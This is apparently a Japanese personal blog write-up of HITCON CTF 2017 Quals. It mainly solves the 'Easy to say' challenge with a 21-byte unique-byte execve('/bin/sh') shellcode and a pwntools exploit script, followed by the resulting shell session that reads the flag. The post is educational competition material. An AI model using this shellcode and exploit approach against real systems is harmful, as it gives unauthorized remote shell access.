yyy

CTFつよくなりたい

HITCON CTF 2017 Quals - Easy to say -

f:id:ywkw1717:20171106114752p:plain

開催期間(JST)

11/4 AM11:00 ~ 11/6 AM11:00

結果

・チーム名:wabisabi

・得点:331 pt

・順位:得点したチーム中,145/1078

解いた問題

・Easy to say (Misc 144)

取り組んだが解けなかった問題

・Start (Pwn)

・Re: Easy to say (Misc)

はじめに

HITCONの開始時間がちょうどバイト先のりんご狩りと重なるということがあり,スタートダッシュが切れず.

結局始めたのは19時~から.

最初はpwnのStartからやっていたものの,方針が違うのか全く見当がつかず,miscのEasy to sayに切り替えた.

2日目は起きる時間が16時頃になってしまい,17時頃からEasy to sayを始めた.

そこから10時間くらい,ああじゃないこうじゃないってやってようやく解けたけど,他の問題は解けず...惨敗.

Writeup

Easy to say (Misc)

問題文

Are you good at shellcoding? Warm up!

nc 52.69.40.204 8361

解析

$ file easy_to_say-c7dd6cdf484305f7aaac4fa821796871
easy_to_say-c7dd6cdf484305f7aaac4fa821796871: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=ebaecbb5f55329380b6476b55253b4ea59d91891, stripped

64bit,strippedなバイナリが与えられ,限られた条件で動くシェルコードをプログラミングする問題.

限られた条件というのは,各バイトそれぞれが重複していない,かつ24バイト以下というもの.

このプログラムは,適当なシェルコードを入力として与えてあげると,それを実行してくれる.

最初困ったのが,gdbでstartするとコアダンプするっていう問題.

$ gdb easy_to_say-c7dd6cdf484305f7aaac4fa821796871
Reading symbols from easy_to_say-c7dd6cdf484305f7aaac4fa821796871...(no debugging symbols found)...done.
gdb-peda$ start
No unwaited-for children left.
zsh: abort (core dumped)  gdb -q easy_to_say-c7dd6cdf484305f7aaac4fa821796871

シンボル情報消されていてもステップ実行はできるはずなのに,よくわからない.

結局,runして適当な入力値を与えるとSEGVを起こすので,そこからstartして,あとはひたすらniとsiで探っていった.

すると,

0x555555554990:  xor    ebp,ebp

が開始アドレスとわかったので,ここら辺にブレークポイントをしかけて解析していく.

0x555555554ddf: call   c38 <stdout@@GLIBC_2.2.5-0x2013e8> # input_check(input_value, 0, 0)

入力値チェック的な関数を呼んでいる箇所.

ここから先のルーチンで,入力値が24バイトより大きい場合は24バイトに削り,入力値がユニークではない場合は Invalid input! を表示するルーチンへ飛ばす.

0x555555554e2b: call   rdx

最終的にここでシェルコードを実行するルーチンへ.

ここから先は,全汎用レジスタを初期化した後,入力されたシェルコードを実行するようになっている.

コーディング

一番問題なのは, /bin/sh という文字列の / が重複していること.

よって,最初の / はとあるバイトに置き換えておいて,後でその1バイトのみをxorして元に戻す方針でいく.

    .intel_syntax noprefix
    .global _start
_start:
    mov rbx, 0x68732f6e696203
    xor bl, 0x2c
    pushq rsi
    pushq rbx
    pushq rsp
    popq rdi
    mov al, 0x3b
    syscall

コンパイルして機械語のみを取り出す.ももテクさんの記事が参考になる.

inaz2.hatenablog.com

$ gcc -nostdlib shellcode.s
$ objdump -M intel -d a.out | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g > input.txt

gdbにて run < input.txt をし,正しく実行されていることを確認できたら,exploit.pyに書いていく.

#!/usr/bin/env python
from pwn import *

context(os="linux", arch="i386")

"""
00000000004000d4 <_start>:
  4000d4: 48 bb 03 62 69 6e 2f    movabs rbx,0x68732f6e696203
  4000db: 73 68 00
  4000de: 80 f3 2c                xor    bl,0x2c
  4000e1: 56                      push   rsi
  4000e2: 53                      push   rbx
  4000e3: 54                      push   rsp
  4000e4: 5f                      pop    rdi
  4000e5: b0 3b                   mov    al,0x3b
  4000e7: 0f 05                   syscall
"""

def main():
    conn = remote("52.69.40.204", 8361)
    payload = "\x48\xbb\x03\x62\x69\x6e\x2f\x73\x68\x00\x80\xf3\x2c\x56\x53\x54\x5f\xb0\x3b\x0f\x05"

    conn.send(payload)
    conn.interactive()


if __name__ == "__main__":
    main()
$ python exploit.py
[+] Opening connection to 52.69.40.204 on port 8361: Done
[*] Switching to interactive mode
Give me your code :Run !
$ ls -la
total 72
drwxr-xr-x   1 root        root        4096 Nov  1 06:36 .
drwxr-xr-x   1 root        root        4096 Nov  1 06:36 ..
-rwxr-xr-x   1 root        root           0 Nov  1 06:36 .dockerenv
drwxr-xr-x   2 root        root        4096 Sep 15 08:42 bin
drwxr-xr-x   2 root        root        4096 Apr 10  2017 boot
drwxr-xr-x   5 root        root         340 Nov  4 04:40 dev
drwxr-xr-x   1 root        root        4096 Nov  1 06:36 etc
drwxr-xr-x   1 root        root        4096 Nov  1 06:36 home
drwxr-xr-x   1 root        root        4096 Feb 16  2017 lib
drwxr-xr-x   2 root        root        4096 Sep 15 08:42 lib64
drwxr-xr-x   2 root        root        4096 Sep 15 08:42 media
drwxr-xr-x   2 root        root        4096 Sep 15 08:42 mnt
drwxr-xr-x   2 root        root        4096 Sep 15 08:42 opt
dr-xr-xr-x 125 root        root           0 Nov  4 04:40 proc
drwx------   2 root        root        4096 Sep 15 08:42 root
drwxrwxr--   1 root        root        4096 Sep 18 23:31 run
drwxr-xr-x   1 root        root        4096 Sep 18 23:31 sbin
drwxr-xr-x   2 root        root        4096 Sep 15 08:42 srv
dr-xr-xr-x  13 root        root           0 Nov  4 06:16 sys
drwxr-xr--   2 easy_to_say easy_to_say 4096 Oct 23 19:14 tmp
drwxr-xr-x   1 root        root        4096 Sep 15 08:42 usr
drwxr-xr-x   1 root        root        4096 Sep 15 08:42 var
$ cd home
$ ls -la
total 12
drwxr-xr-x 1 root        root        4096 Nov  1 06:36 .
drwxr-xr-x 1 root        root        4096 Nov  1 06:36 ..
drwxr-xr-x 2 easy_to_say easy_to_say 4096 Nov  1 06:35 easy_to_say
$ cd easy_to_say
$ ls -la
total 28
drwxr-xr-x 2 easy_to_say easy_to_say  4096 Nov  1 06:35 .
drwxr-xr-x 1 root        root         4096 Nov  1 06:36 ..
-rwxr-xr-x 1 easy_to_say easy_to_say 10232 Nov  1 06:35 easy_to_say
-rw-r--r-- 1 easy_to_say easy_to_say    43 Nov  1 06:35 flag
-rwxr--r-- 1 easy_to_say easy_to_say    72 Nov  1 06:35 run.sh
$ cat flag
hitcon{sh3llc0d1n9_1s_4_b4by_ch4ll3n93_4u}

プロはすぐbabyっていう.

取り組んだが解けなかった問題

Start (Pwn)

問題文

Have you tried pwntools-ruby?

nc 54.65.72.116 31337

server.rbがリモートで動いていて,与えられたrubyのコードをevalしてくれる.

また,同一ホスト内の31338ポートではstartというバイナリが動いていて,これは入力値をそのまま表示するだけ(?).10秒間でタイムアウトする.

server.rbに,Dirとかいろいろいい感じに使って,ローカルのファイルを読み出せたりはしたんだけど,フラグがどこにも見当たらない.

そもそも,それだとstartが別ポートで動いている必要がないし,やっぱりstartの脆弱性を何らかの方法で突くのかなと思い,やってみるも,どういう脆弱性が存在しているのかさっぱりわからず.

Re: Easy to say (Misc)

問題文

I think you can do better!

nc 13.112.180.65 8361

Easy to sayのバイト数制限が8バイトverっていう激辛シェルコーディング問題.

無理だった.

まとめ

こうしてwriteupを書いていると解法は自明に思えてくるけど,解いている時は以外と思いつかず,REXプレフィックスに悩まされたり,xor ebx, ebxxor bx, bx では挙動が違うことに悩まされたり.( xor bx, bx だとRBXの下位2バイトだけいい感じに変化してくれるのに, xor ebx, ebxだと,その結果が丸々RBXとなってしまう.同様に xor bl, bl では下位1バイトだけ変更できる)

Rev問が1つも解けてないのが痛すぎる.

そろそろ,そこそこ難しい問題も解けるようになる必要がありそう.